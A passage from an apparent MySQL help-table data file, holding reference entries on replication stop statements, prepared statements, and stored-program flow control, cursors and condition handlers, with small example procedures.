[0-9,A-F]\n\ninterval:\n n[-n]\n\n (n >= 1)\n\nStarts the replication threads. From MySQL 8.0.22, START SLAVE is\ndeprecated and the alias START REPLICA should be used instead. The\nstatement works in the same way as before, only the terminology used\nfor the statement and its output has changed. Both versions of the\nstatement update the same status variables when used. Please see the\ndocumentation for START REPLICA for a description of the statement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/start-slave.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/start-slave.html'),(586,'STOP REPLICA',43,'Syntax:\nSTOP REPLICA [thread_types] [channel_option]\n\nthread_types:\n [thread_type [, thread_type] ... ]\n\nthread_type: IO_THREAD | SQL_THREAD\n\nchannel_option:\n FOR CHANNEL channel\n\nStops the replication threads. From MySQL 8.0.22, use STOP REPLICA in\nplace of STOP SLAVE, which is now deprecated. In releases before MySQL\n8.0.22, use STOP SLAVE.\n\nSTOP REPLICA requires the REPLICATION_SLAVE_ADMIN privilege (or the\ndeprecated SUPER privilege). Recommended best practice is to execute\nSTOP REPLICA on the replica before stopping the replica server (see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-shutdown.html, for more\ninformation).\n\nLike START REPLICA, this statement may be used with the IO_THREAD and\nSQL_THREAD options to name the replication thread or threads to be\nstopped. Note that the Group Replication applier channel\n(group_replication_applier) has no replication I/O (receiver) thread,\nonly a replication SQL (applier) thread. Using the SQL_THREAD option\ntherefore stops this channel completely.\n\nSTOP REPLICA causes an implicit commit of an ongoing transaction. See\nhttps://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\ngtid_next must be set to AUTOMATIC before issuing this statement.\n\nYou can control how long STOP REPLICA waits before timing out by\nsetting the system variable rpl_stop_replica_timeout (from MySQL\n8.0.26) or rpl_stop_slave_timeout (before MySQL 8.0.26). This can be\nused to avoid deadlocks between STOP REPLICA and other SQL statements\nusing different client connections to the replica. When the timeout\nvalue is reached, the issuing client returns an error message and stops\nwaiting, but the STOP REPLICA instruction remains in effect. Once the\nreplication threads are no longer busy, the STOP REPLICA statement is\nexecuted and the replica stops.\n\nSome CHANGE REPLICATION SOURCE TO | CHANGE MASTER TO statements are\nallowed while the replica is running, depending on the states of the\nreplication threads. However, using STOP REPLICA prior to executing a\nCHANGE REPLICATION SOURCE TO | CHANGE MASTER TO statement in such cases\nis still supported. See [HELP CHANGE REPLICATION SOURCE TO], [HELP\nCHANGE MASTER TO], and\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-solutions-switch.html\n, for more information.\n\nThe optional FOR CHANNEL channel clause enables you to name which\nreplication channel the statement applies to. Providing a FOR CHANNEL\nchannel clause applies the STOP REPLICA statement to a specific\nreplication channel. If no channel is named and no extra channels\nexist, the statement applies to the default channel. If a STOP REPLICA\nstatement does not name a channel when using multiple channels, this\nstatement stops the specified threads for all channels. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nThe replication channels for Group Replication\n(group_replication_applier and group_replication_recovery) are managed\nautomatically by the server instance. STOP REPLICA cannot be used at\nall with the group_replication_recovery channel, and should only be\nused with the group_replication_applier channel when Group Replication\nis not running. The group_replication_applier channel only has an\napplier thread and has no receiver thread, so it can be stopped if\nrequired by using the SQL_THREAD option without the IO_THREAD option.\n\nWhen the replica is multithreaded (replica_parallel_workers or\nslave_parallel_workers is a nonzero value), any gaps in the sequence of\ntransactions executed from the relay log are closed as part of stopping\nthe worker threads. If the replica is stopped unexpectedly (for example\ndue to an error in a worker thread, or another thread issuing KILL)\nwhile a STOP REPLICA statement is executing, the sequence of executed\ntransactions from the relay log may become inconsistent. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-features-transactio\nn-inconsistencies.html, for more information.\n\nWhen the source is using the row-based binary logging format, you\nshould execute STOP REPLICA or STOP REPLICA SQL_THREAD on the replica\nprior to shutting down the replica server if you are replicating any\ntables that use a nontransactional storage engine. If the current\nreplication event group has modified one or more nontransactional\ntables, STOP REPLICA waits for up to 60 seconds for the event group to\ncomplete, unless you issue a KILL QUERY or KILL CONNECTION statement\nfor the replication SQL thread. If the event group remains incomplete\nafter the timeout, an error message is logged.\n\nWhen the source is using the statement-based binary logging format,\nchanging the source while it has open temporary tables is potentially\nunsafe. This is one of the reasons why statement-based replication of\ntemporary tables is not recommended. You can find out whether there are\nany temporary tables on the replica by checking the value of\nReplica_open_temp_tables or Slave_open_temp_tables. When using\nstatement-based replication, this value should be 0 before executing\nCHANGE REPLICATION SOURCE TO | CHANGE MASTER TO. If there are any\ntemporary tables open on the replica, issuing a CHANGE REPLICATION\nSOURCE TO | CHANGE MASTER TO statement after issuing a STOP REPLICA\ncauses an ER_WARN_OPEN_TEMP_TABLES_MUST_BE_ZERO\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_warn_open_temp_tables_must_be_zero) warning.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/stop-replica.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/stop-replica.html'),(587,'STOP SLAVE',43,'Syntax:\nSTOP {SLAVE | REPLICA} [thread_types] [channel_option]\n\nthread_types:\n [thread_type [, thread_type] ... ]\n\nthread_type: IO_THREAD | SQL_THREAD\n\nchannel_option:\n FOR CHANNEL channel\n\nStops the replication threads. From MySQL 8.0.22, STOP SLAVE is\ndeprecated and the alias STOP REPLICA should be used instead. The\nstatement works in the same way as before, only the terminology used\nfor the statement and its output has changed. Both versions of the\nstatement update the same status variables when used. Please see the\ndocumentation for STOP REPLICA for a description of the statement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/stop-slave.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/stop-slave.html'),(588,'PREPARE',44,'Syntax:\nPREPARE stmt_name FROM preparable_stmt\n\nThe PREPARE statement prepares a SQL statement and assigns it a name,\nstmt_name, by which to refer to the statement later. The prepared\nstatement is executed with EXECUTE and released with DEALLOCATE\nPREPARE. For examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html.\n\nStatement names are not case-sensitive. preparable_stmt is either a\nstring literal or a user variable that contains the text of the SQL\nstatement. The text must represent a single statement, not multiple\nstatements. Within the statement, ? characters can be used as parameter\nmarkers to indicate where data values are to be bound to the query\nlater when you execute it. The ? characters should not be enclosed\nwithin quotation marks, even if you intend to bind them to string\nvalues. Parameter markers can be used only where data values should\nappear, not for SQL keywords, identifiers, and so forth.\n\nIf a prepared statement with the given name already exists, it is\ndeallocated implicitly before the new statement is prepared. This means\nthat if the new statement contains an error and cannot be prepared, an\nerror is returned and no statement with the given name exists.\n\nThe scope of a prepared statement is the session within which it is\ncreated, which as several implications:\n\no A prepared statement created in one session is not available to other\n sessions.\n\no When a session ends, whether normally or abnormally, its prepared\n statements no longer exist. If auto-reconnect is enabled, the client\n is not notified that the connection was lost. For this reason,\n clients may wish to disable auto-reconnect. See Automatic\n Reconnection Control\n (https://dev.mysql.com/doc/c-api/8.0/en/c-api-auto-reconnect.html).\n\no A prepared statement created within a stored program continues to\n exist after the program finishes executing and can be executed\n outside the program later.\n\no A statement prepared in stored program context cannot refer to stored\n procedure or function parameters or local variables because they go\n out of scope when the program ends and would be unavailable were the\n statement to be executed later outside the program. As a workaround,\n refer instead to user-defined variables, which also have session\n scope; see\n https://dev.mysql.com/doc/refman/8.0/en/user-variables.html.\n\nBeginning with MySQL 8.0.22, a parameter used in a prepared statement\nhas its type determined when the statement is first prepared, and\nretains this type whenever EXECUTE is invoked for this prepared\nstatement (unless the statement is reprepared, as explained later in\nthis section). Rules for determining a parameter\'s type are listed\nhere:\n\no A parameter which is an operand of a binary arithmetic operator has\n the same data type as the other operand.\n\no If both operands of a binary arithmetic operator are parameters, the\n type of the parameters is decided by the context of the operator.\n\no If a parameter is the operand of a unary arithmetic operator, the\n parameter\'s type is decided by the context of the operator.\n\no If an arithmetic operator has no type-determining context, the\n derived type for any parameters involved is DOUBLE PRECISION. This\n can happen, for example, when the parameter is a top-level node in a\n SELECT list, or when it is part of a comparison operator.\n\no A parameter which is an operand of a character string operator has\n the same derived type as the aggregated type of the other operands.\n If all operands of the operator are parameters, the derived type is\n VARCHAR; its collation is determined by the value of\n collation_connection.\n\no A parameter which is an operand of a temporal operator has type\n DATETIME if the operator returns a DATETIME, TIME if the operator\n returns a TIME, and DATE if the operator returns a DATE.\n\no A parameter which is an operand of a binary comparison operator has\n the same derived type as the other operand of the comparison.\n\no A parameter that is an operand of a ternary comparison operator such\n as BETWEEN has the same derived type as the aggregated type of the\n other operands.\n\no If all operands of a comparison operator are parameters, the derived\n type for each of them is VARCHAR, with collation determined by the\n value of collation_connection.\n\no A parameter that is an output operand of any of CASE, COALESCE, IF,\n IFNULL, or NULLIF has the same derived type as the aggregated type of\n the operator\'s other output operands.\n\no If all output operands of any of CASE, COALESCE, IF, IFNULL, or\n NULLIF are parameters, or they are all NULL, the type of the\n parameter is decided by the context of the operator.\n\no If the parameter is an operand of any of CASE, COALESCE(), IF, or\n IFNULL, and has no type-determining context, the derived type for\n each of the parameters involved is VARCHAR, and its collation is\n determined by the value of collation_connection.\n\no A parameter which is the operand of a CAST() has the same type as\n specified by the CAST().\n\no If a parameter is an immediate member of a SELECT list that is not\n part of an INSERT statement, the derived type of the parameter is\n VARCHAR, and its collation is determined by the value of\n collation_connection.\n\no If a parameter is an immediate member of a SELECT list that is part\n of an INSERT statement, the derived type of the parameter is the type\n of the corresponding column into which the parameter is inserted.\n\no If a parameter is used as source for an assignment in a SET clause of\n an UPDATE statement or in the ON DUPLICATE KEY UPDATE clause of an\n INSERT statement, the derived type of the parameter is the type of\n the corresponding column which is updated by the SET or ON DUPLICATE\n KEY UPDATE clause.\n\no If a parameter is an argument of a function, the derived type depends\n on the function\'s return type.\n\nFor some combinations of actual type and derived type, an automatic\nrepreparation of the statement is triggered, to ensure closer\ncompatibility with previous versions of MySQL. Repreparation does not\noccur if any of the following conditions are true:\n\no NULL is used as the actual parameter value.\n\no A parameter is an operand of a CAST(). (Instead, a cast to the\n derived type is attempted, and an exception raised if the cast\n fails.)\n\no A parameter is a string. (In this case, an implicit CAST(? AS\n derived_type) is performed.)\n\no The derived type and actual type of the parameter are both INTEGER\n and have the same sign.\n\no The parameter\'s derived type is DECIMAL and its actual type is either\n DECIMAL or INTEGER.\n\no The derived type is DOUBLE and the actual type is any numeric type.\n\no Both the derived type and the actual type are string types.\n\no If the derived type is temporal and the actual type is temporal.\n Exceptions: The derived type is TIME and the actual type is not TIME;\n the derived type is DATE and the actual type is not DATE.\n\no The derived type is temporal and the actual type is numeric.\n\nFor cases other than those just listed, the statement is reprepared and\nthe actual parameter types are used instead of the derived parameter\ntypes.\n\nThese rules also apply to a user variable referenced in a prepared\nstatement.\n\nUsing a different data type for a given parameter or user variable\nwithin a prepared statement for executions of the statement subsequent\nto the first execution causes the statement to be reprepared. This is\nless efficient; it may also lead to the parameter\'s (or variable\'s)\nactual type to vary, and thus for results to be inconsistent, with\nsubsequent executions of the prepared statement. For these reasons, it\nis advisable to use the same data type for a given parameter when\nre-executing a prepared statement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/prepare.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/prepare.html'),(589,'EXECUTE STATEMENT',44,'Syntax:\nEXECUTE stmt_name\n [USING @var_name [, @var_name] ...]\n\nAfter preparing a statement with PREPARE, you execute it with an\nEXECUTE statement that refers to the prepared statement name. If the\nprepared statement contains any parameter markers, you must supply a\nUSING clause that lists user variables containing the values to be\nbound to the parameters. Parameter values can be supplied only by user\nvariables, and the USING clause must name exactly as many variables as\nthe number of parameter markers in the statement.\n\nYou can execute a given prepared statement multiple times, passing\ndifferent variables to it or setting the variables to different values\nbefore each execution.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/execute.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/execute.html'),(590,'DEALLOCATE PREPARE',44,'Syntax:\n{DEALLOCATE | DROP} PREPARE stmt_name\n\nTo deallocate a prepared statement produced with PREPARE, use a\nDEALLOCATE PREPARE statement that refers to the prepared statement\nname. Attempting to execute a prepared statement after deallocating it\nresults in an error. If too many prepared statements are created and\nnot deallocated by either the DEALLOCATE PREPARE statement or the end\nof the session, you might encounter the upper limit enforced by the\nmax_prepared_stmt_count system variable.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/deallocate-prepare.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/deallocate-prepare.html'),(591,'DROP PREPARE',44,'Syntax:\n{DEALLOCATE | DROP} PREPARE stmt_name\n\nTo deallocate a prepared statement produced with PREPARE, use a\nDEALLOCATE PREPARE statement that refers to the prepared statement\nname. Attempting to execute a prepared statement after deallocating it\nresults in an error. If too many prepared statements are created and\nnot deallocated by either the DEALLOCATE PREPARE statement or the end\nof the session, you might encounter the upper limit enforced by the\nmax_prepared_stmt_count system variable.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/deallocate-prepare.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/deallocate-prepare.html'),(592,'BEGIN END',45,'Syntax:\n[begin_label:] BEGIN\n [statement_list]\nEND [end_label]\n\nBEGIN ... END syntax is used for writing compound statements, which can\nappear within stored programs (stored procedures and functions,\ntriggers, and events). A compound statement can contain multiple\nstatements, enclosed by the BEGIN and END keywords. statement_list\nrepresents a list of one or more statements, each terminated by a\nsemicolon (;) statement delimiter. The statement_list itself is\noptional, so the empty compound statement (BEGIN END) is legal.\n\nBEGIN ... END blocks can be nested.\n\nUse of multiple statements requires that a client is able to send\nstatement strings containing the ; statement delimiter. In the mysql\ncommand-line client, this is handled with the delimiter command.\nChanging the ; end-of-statement delimiter (for example, to //) permit ;\nto be used in a program body. For an example, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-defining.html.\n\nA BEGIN ... END block can be labeled. See [HELP labels].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/begin-end.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/begin-end.html'),(593,'LABELS',45,'Syntax:\n[begin_label:] BEGIN\n [statement_list]\nEND [end_label]\n\n[begin_label:] LOOP\n statement_list\nEND LOOP [end_label]\n\n[begin_label:] REPEAT\n statement_list\nUNTIL search_condition\nEND REPEAT [end_label]\n\n[begin_label:] WHILE search_condition DO\n statement_list\nEND WHILE [end_label]\n\nLabels are permitted for BEGIN ... END blocks and for the LOOP, REPEAT,\nand WHILE statements. Label use for those statements follows these\nrules:\n\no begin_label must be followed by a colon.\n\no begin_label can be given without end_label. If end_label is present,\n it must be the same as begin_label.\n\no end_label cannot be given without begin_label.\n\no Labels at the same nesting level must be distinct.\n\no Labels can be up to 16 characters long.\n\nTo refer to a label within the labeled construct, use an ITERATE or\nLEAVE statement. The following example uses those statements to\ncontinue iterating or terminate the loop:\n\nCREATE PROCEDURE doiterate(p1 INT)\nBEGIN\n label1: LOOP\n SET p1 = p1 + 1;\n IF p1 < 10 THEN ITERATE label1; END IF;\n LEAVE label1;\n END LOOP label1;\nEND;\n\nThe scope of a block label does not include the code for handlers\ndeclared within the block. For details, see [HELP DECLARE HANDLER].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/statement-labels.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/statement-labels.html'),(594,'DECLARE VARIABLE',45,'Syntax:\nDECLARE var_name [, var_name] ... type [DEFAULT value]\n\nThis statement declares local variables within stored programs. To\nprovide a default value for a variable, include a DEFAULT clause. The\nvalue can be specified as an expression; it need not be a constant. If\nthe DEFAULT clause is missing, the initial value is NULL.\n\nLocal variables are treated like stored routine parameters with respect\nto data type and overflow checking. See [HELP CREATE PROCEDURE].\n\nVariable declarations must appear before cursor or handler\ndeclarations.\n\nLocal variable names are not case-sensitive. Permissible characters and\nquoting rules are the same as for other identifiers, as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/identifiers.html.\n\nThe scope of a local variable is the BEGIN ... END block within which\nit is declared. The variable can be referred to in blocks nested within\nthe declaring block, except those blocks that declare a variable with\nthe same name.\n\nFor examples of variable declarations, see\nhttps://dev.mysql.com/doc/refman/8.0/en/local-variable-scope.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/declare-local-variable.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/declare-local-variable.html'),(595,'CASE STATEMENT',45,'Syntax:\nCASE case_value\n WHEN when_value THEN statement_list\n [WHEN when_value THEN statement_list] ...\n [ELSE statement_list]\nEND CASE\n\nOr:\n\nCASE\n WHEN search_condition THEN statement_list\n [WHEN search_condition THEN statement_list] ...\n [ELSE statement_list]\nEND CASE\n\nThe CASE statement for stored programs implements a complex conditional\nconstruct.\n\n*Note*:\n\nThere is also a CASE operator, which differs from the CASE statement\ndescribed here. See\nhttps://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html.\nThe CASE statement cannot have an ELSE NULL clause, and it is\nterminated with END CASE instead of END.\n\nFor the first syntax, case_value is an expression. This value is\ncompared to the when_value expression in each WHEN clause until one of\nthem is equal. When an equal when_value is found, the corresponding\nTHEN clause statement_list executes. If no when_value is equal, the\nELSE clause statement_list executes, if there is one.\n\nThis syntax cannot be used to test for equality with NULL because NULL\n= NULL is false. See\nhttps://dev.mysql.com/doc/refman/8.0/en/working-with-null.html.\n\nFor the second syntax, each WHEN clause search_condition expression is\nevaluated until one is true, at which point its corresponding THEN\nclause statement_list executes. If no search_condition is equal, the\nELSE clause statement_list executes, if there is one.\n\nIf no when_value or search_condition matches the value tested and the\nCASE statement contains no ELSE clause, a Case not found for CASE\nstatement error results.\n\nEach statement_list consists of one or more SQL statements; an empty\nstatement_list is not permitted.\n\nTo handle situations where no value is matched by any WHEN clause, use\nan ELSE containing an empty BEGIN ... END block, as shown in this\nexample. (The indentation used here in the ELSE clause is for purposes\nof clarity only, and is not otherwise significant.)\n\nDELIMITER |\n\nCREATE PROCEDURE p()\n BEGIN\n DECLARE v INT DEFAULT 1;\n\n CASE v\n WHEN 2 THEN SELECT v;\n WHEN 3 THEN SELECT 0;\n ELSE\n BEGIN\n END;\n END CASE;\n END;\n |\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/case.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/case.html'),(596,'IF STATEMENT',45,'Syntax:\nIF search_condition THEN statement_list\n [ELSEIF search_condition THEN statement_list] ...\n [ELSE statement_list]\nEND IF\n\nThe IF statement for stored programs implements a basic conditional\nconstruct.\n\n*Note*:\n\nThere is also an IF() function, which differs from the IF statement\ndescribed here. See\nhttps://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html.\nThe IF statement can have THEN, ELSE, and ELSEIF clauses, and it is\nterminated with END IF.\n\nIf a given search_condition evaluates to true, the corresponding THEN\nor ELSEIF clause statement_list executes. If no search_condition\nmatches, the ELSE clause statement_list executes.\n\nEach statement_list consists of one or more SQL statements; an empty\nstatement_list is not permitted.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/if.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/if.html'),(597,'ITERATE',45,'Syntax:\nITERATE label\n\nITERATE can appear only within LOOP, REPEAT, and WHILE statements.\nITERATE means \"start the loop again.\"\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/iterate.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/iterate.html'),(598,'LEAVE',45,'Syntax:\nLEAVE label\n\nThis statement is used to exit the flow control construct that has the\ngiven label. If the label is for the outermost stored program block,\nLEAVE exits the program.\n\nLEAVE can be used within BEGIN ... END or loop constructs (LOOP,\nREPEAT, WHILE).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/leave.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/leave.html'),(599,'LOOP',45,'Syntax:\n[begin_label:] LOOP\n statement_list\nEND LOOP [end_label]\n\nLOOP implements a simple loop construct, enabling repeated execution of\nthe statement list, which consists of one or more statements, each\nterminated by a semicolon (;) statement delimiter. The statements\nwithin the loop are repeated until the loop is terminated. Usually,\nthis is accomplished with a LEAVE statement. Within a stored function,\nRETURN can also be used, which exits the function entirely.\n\nNeglecting to include a loop-termination statement results in an\ninfinite loop.\n\nA LOOP statement can be labeled. For the rules regarding label use, see\n[HELP labels].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/loop.html\n\n','CREATE PROCEDURE doiterate(p1 INT)\nBEGIN\n label1: LOOP\n SET p1 = p1 + 1;\n IF p1 < 10 THEN\n ITERATE label1;\n END IF;\n LEAVE label1;\n END LOOP label1;\n SET @x = p1;\nEND;\n','https://dev.mysql.com/doc/refman/8.0/en/loop.html'),(600,'REPEAT LOOP',45,'Syntax:\n[begin_label:] REPEAT\n statement_list\nUNTIL search_condition\nEND REPEAT [end_label]\n\nThe statement list within a REPEAT statement is repeated until the\nsearch_condition expression is true. Thus, a REPEAT always enters the\nloop at least once. statement_list consists of one or more statements,\neach terminated by a semicolon (;) statement delimiter.\n\nA REPEAT statement can be labeled. For the rules regarding label use,\nsee [HELP labels].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/repeat.html\n\n','mysql> delimiter //\n\nmysql> CREATE PROCEDURE dorepeat(p1 INT)\n BEGIN\n SET @x = 0;\n REPEAT\n SET @x = @x + 1;\n UNTIL @x > p1 END REPEAT;\n END\n //\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> CALL dorepeat(1000)//\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @x//\n+------+\n| @x |\n+------+\n| 1001 |\n+------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/repeat.html'),(601,'RETURN',45,'Syntax:\nRETURN expr\n\nThe RETURN statement terminates execution of a stored function and\nreturns the value expr to the function caller. There must be at least\none RETURN statement in a stored function. There may be more than one\nif the function has multiple exit points.\n\nThis statement is not used in stored procedures, triggers, or events.\nThe LEAVE statement can be used to exit a stored program of those\ntypes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/return.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/return.html'),(602,'WHILE',45,'Syntax:\n[begin_label:] WHILE search_condition DO\n statement_list\nEND WHILE [end_label]\n\nThe statement list within a WHILE statement is repeated as long as the\nsearch_condition expression is true. statement_list consists of one or\nmore SQL statements, each terminated by a semicolon (;) statement\ndelimiter.\n\nA WHILE statement can be labeled. For the rules regarding label use,\nsee [HELP labels].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/while.html\n\n','CREATE PROCEDURE dowhile()\nBEGIN\n DECLARE v1 INT DEFAULT 5;\n\n WHILE v1 > 0 DO\n ...\n SET v1 = v1 - 1;\n END WHILE;\nEND;\n','https://dev.mysql.com/doc/refman/8.0/en/while.html'),(603,'CLOSE',45,'Syntax:\nCLOSE cursor_name\n\nThis statement closes a previously opened cursor. For an example, see\nhttps://dev.mysql.com/doc/refman/8.0/en/cursors.html.\n\nAn error occurs if the cursor is not open.\n\nIf not closed explicitly, a cursor is closed at the end of the BEGIN\n... END block in which it was declared.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/close.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/close.html'),(604,'DECLARE CURSOR',45,'Syntax:\nDECLARE cursor_name CURSOR FOR select_statement\n\nThis statement declares a cursor and associates it with a SELECT\nstatement that retrieves the rows to be traversed by the cursor. To\nfetch the rows later, use a FETCH statement. The number of columns\nretrieved by the SELECT statement must match the number of output\nvariables specified in the FETCH statement.\n\nThe SELECT statement cannot have an INTO clause.\n\nCursor declarations must appear before handler declarations and after\nvariable and condition declarations.\n\nA stored program may contain multiple cursor declarations, but each\ncursor declared in a given block must have a unique name. For an\nexample, see https://dev.mysql.com/doc/refman/8.0/en/cursors.html.\n\nFor information available through SHOW statements, it is possible in\nmany cases to obtain equivalent information by using a cursor with an\nINFORMATION_SCHEMA table.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/declare-cursor.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/declare-cursor.html'),(605,'FETCH',45,'Syntax:\nFETCH [[NEXT] FROM] cursor_name INTO var_name [, var_name] ...\n\nThis statement fetches the next row for the SELECT statement associated\nwith the specified cursor (which must be open), and advances the cursor\npointer. If a row exists, the fetched columns are stored in the named\nvariables. The number of columns retrieved by the SELECT statement must\nmatch the number of output variables specified in the FETCH statement.\n\nIf no more rows are available, a No Data condition occurs with SQLSTATE\nvalue \'02000\'. To detect this condition, you can set up a handler for\nit (or for a NOT FOUND condition). For an example, see\nhttps://dev.mysql.com/doc/refman/8.0/en/cursors.html.\n\nBe aware that another operation, such as a SELECT or another FETCH, may\nalso cause the handler to execute by raising the same condition. If it\nis necessary to distinguish which operation raised the condition, place\nthe operation within its own BEGIN ... END block so that it can be\nassociated with its own handler.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/fetch.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/fetch.html'),(606,'OPEN',45,'Syntax:\nOPEN cursor_name\n\nThis statement opens a previously declared cursor. For an example, see\nhttps://dev.mysql.com/doc/refman/8.0/en/cursors.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/open.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/open.html'),(607,'DECLARE CONDITION',45,'Syntax:\nDECLARE condition_name CONDITION FOR condition_value\n\ncondition_value: {\n mysql_error_code\n | SQLSTATE [VALUE] sqlstate_value\n}\n\nThe DECLARE ... CONDITION statement declares a named error condition,\nassociating a name with a condition that needs specific handling. The\nname can be referred to in a subsequent DECLARE ... HANDLER statement\n(see [HELP DECLARE HANDLER]).\n\nCondition declarations must appear before cursor or handler\ndeclarations.\n\nThe condition_value for DECLARE ... CONDITION indicates the specific\ncondition or class of conditions to associate with the condition name.\nIt can take the following forms:\n\no mysql_error_code: An integer literal indicating a MySQL error code.\n\n Do not use MySQL error code 0 because that indicates success rather\n than an error condition. For a list of MySQL error codes, see Server\n Error Message Reference\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html).\n\no SQLSTATE [VALUE] sqlstate_value: A 5-character string literal\n indicating an SQLSTATE value.\n\n Do not use SQLSTATE values that begin with \'00\' because those\n indicate success rather than an error condition. For a list of\n SQLSTATE values, see Server Error Message Reference\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html).\n\nCondition names referred to in SIGNAL or use RESIGNAL statements must\nbe associated with SQLSTATE values, not MySQL error codes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/declare-condition.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/declare-condition.html'),(608,'DECLARE HANDLER',45,'Syntax:\nDECLARE handler_action HANDLER\n FOR condition_value [, condition_value] ...\n statement\n\nhandler_action: {\n CONTINUE\n | EXIT\n | UNDO\n}\n\ncondition_value: {\n mysql_error_code\n | SQLSTATE [VALUE] sqlstate_value\n | condition_name\n | SQLWARNING\n | NOT FOUND\n | SQLEXCEPTION\n}\n\nThe DECLARE ... HANDLER statement specifies a handler that deals with\none or more conditions. If one of these conditions occurs, the\nspecified statement executes. statement can be a simple statement such\nas SET var_name = value, or a compound statement written using BEGIN\nand END (see [HELP BEGIN END]).\n\nHandler declarations must appear after variable or condition\ndeclarations.\n\nThe handler_action value indicates what action the handler takes after\nexecution of the handler statement:\n\no CONTINUE: Execution of the current program continues.\n\no EXIT: Execution terminates for the BEGIN ... END compound statement\n in which the handler is declared. This is true even if the condition\n occurs in an inner block.\n\no UNDO: Not supported.\n\nThe condition_value for DECLARE ... HANDLER indicates the specific\ncondition or class of conditions that activates the handler. It can\ntake the following forms:\n\no mysql_error_code: An integer literal indicating a MySQL error code,\n such as 1051 to specify \"unknown table\":\n\nDECLARE CONTINUE HANDLER FOR 1051\n BEGIN\n -- body of handler\n END;\n\n Do not use MySQL error code 0 because that indicates success rather\n than an error condition. For a list of MySQL error codes, see Server\n Error Message Reference\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html).\n\no SQLSTATE [VALUE] sqlstate_value: A 5-character string literal\n indicating an SQLSTATE value, such as \'42S01\' to specify \"unknown\n table\":\n\nDECLARE CONTINUE HANDLER FOR SQLSTATE \'42S02\'\n BEGIN\n -- body of handler\n END;\n\n Do not use SQLSTATE values that begin with \'00\' because those\n indicate success rather than an error condition. For a list of\n SQLSTATE values, see Server Error Message Reference\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html).\n\no condition_name: A condition name previously specified with DECLARE\n ... CONDITION. A condition name can be associated with a MySQL error\n code or SQLSTATE value. See [HELP DECLARE CONDITION].\n\no SQLWARNING: Shorthand for the class of SQLSTATE values that begin\n with \'01\'.\n\nDECLARE CONTINUE HANDLER FOR SQLWARNING\n BEGIN\n -- body of handler\n END;\n\no NOT FOUND: Shorthand for the class of SQLSTATE values that begin with\n \'02\'. This is relevant within the context of cursors and is used to\n control what happens when a cursor reaches the end of a data set. If\n no more rows are available, a No Data condition occurs with SQLSTATE\n value \'02000\'. To detect this condition, you can set up a handler for\n it or for a NOT FOUND condition.\n\nDECLARE CONTINUE HANDLER FOR NOT FOUND\n BEGIN\n -- body of handler\n END;\n\n For another example, see\n https://dev.mysql.com/doc/refman/8.0/en/cursors.html. The NOT FOUND\n condition also occurs for SELECT ... INTO var_list statements that\n retrieve no rows.\n\no SQLEXCEPTION: Shorthand for the class of SQLSTATE values that do not\n begin with \'00\', \'01\', or \'02\'.\n\nDECLARE CONTINUE HANDLER FOR SQLEXCEPTION\n BEGIN\n -- body of handler\n END;\n\nFor information about how the server chooses handlers when a condition\noccurs, see https://dev.mysql.com/doc/refman/8.0/en/handler-scope.html.\n\nIf a condition occurs for which no handler has been declared, the\naction taken depends on the condition class:\n\no For SQLEXCEPTION conditions, the stored program terminates at the\n statement that raised the condition, as if there were an EXIT\n handler. If the program was called by 